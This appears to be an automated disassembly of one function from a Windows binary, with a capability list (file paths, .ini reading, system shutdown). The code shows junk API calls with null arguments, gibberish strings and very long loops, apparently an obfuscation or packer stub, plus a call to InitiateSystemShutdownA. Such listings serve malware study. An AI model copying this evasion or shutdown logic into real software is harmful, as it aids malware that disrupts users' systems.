Function at 0x426d60
Capabilities:
Get common file path
Get thread local storage value
Read .ini file
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14d0
call fcn.0040b2d0
mov dword [ebp - 4], 0
jmp 0x426d7f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x32d05d76
jge 0x426e3a
cmp dword [0xbfed84], 0xfc
jne 0x426df1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
xor ecx, ecx
mov word [ebp - 0x78], cx
xor edx, edx
mov dword [ebp - 0x76], edx
mov dword [ebp - 0x72], edx
mov dword [ebp - 0x6e], edx
mov word [ebp - 0x6a], dx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x5e], cx
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x60]
push eax
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
cmp dword [0xbfed84], 0x5e4
jne 0x426e2a
push str.Xisen_difutod_rivawo_tinewoha_duhamakapovuf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push str.Mobebarinamohay_foyusunah
push 0
lea eax, [ebp - 0x480]
push eax
push str.Yufudizodu_galof_rayi_mica_cije
push str.Bacunizucojux_lisy_det
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
cmp dword [ebp - 4], 0x9be51dc
jle 0x426e35
jmp 0x426e3a
jmp 0x426d76
push 0x43bf20
mov ecx, dword [0xbfed84]
push ecx
mov edx, dword [0xbfe0c0]
push edx
call fcn.00426cc0
mov dword [ebp - 0x4a8], 0
jmp 0x426e6d
mov eax, dword [ebp - 0x4a8]
add eax, 1
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0x3e7a3
jge 0x426ec5
cmp dword [0xbfed84], 0x10
jne 0x426eaa
mov dword [ebp - 0x4b8], 0
mov dword [ebp - 0x4b4], 0
lea ecx, [ebp - 0x4ac]
push ecx
lea edx, [ebp - 0x4b8]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp dword [ebp - 0x4a8], 0x1e673
jne 0x426ec3
call fcn.00426850
jmp 0x426e5e
mov dword [ebp - 0x4bc], 0
jmp 0x426ee0
mov eax, dword [ebp - 0x4bc]
add eax, 1
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0xdd9a7
jge 0x426f1c
cmp dword [0xbfed84], 0xc01
jne 0x426f1a
lea ecx, [ebp - 0x4c0]
push ecx
push str.Naralise_mani_bucexo_puxid_puhoxalitasutid
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
jmp 0x426ed1
call dword [0xbfe0c0]
cmp dword [0xbfed84], 0x1144
jne 0x426fe7
push 0
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push 0
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push str.yodokeker_zareneyid_dewidixibusejewunilubumacuyutuza_wutuxejewiwosuhotodur_tedoyekaxinozopinizuvazigonameni
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
lea edx, [ebp - 0xcc0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [ebp - 0x14cc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea ecx, [ebp - 0xcc4]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea edx, [ebp - 0x8c0]
push edx
push 0
push str.Gomonowenidanam_tacuze_rutoxuxihiye_tepa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
lea eax, [ebp - 0xcc8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
lea ecx, [ebp - 0x14c8]
push ecx
push str.Raboho_puvatefe
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor eax, eax
mov esp, ebp
pop ebp
ret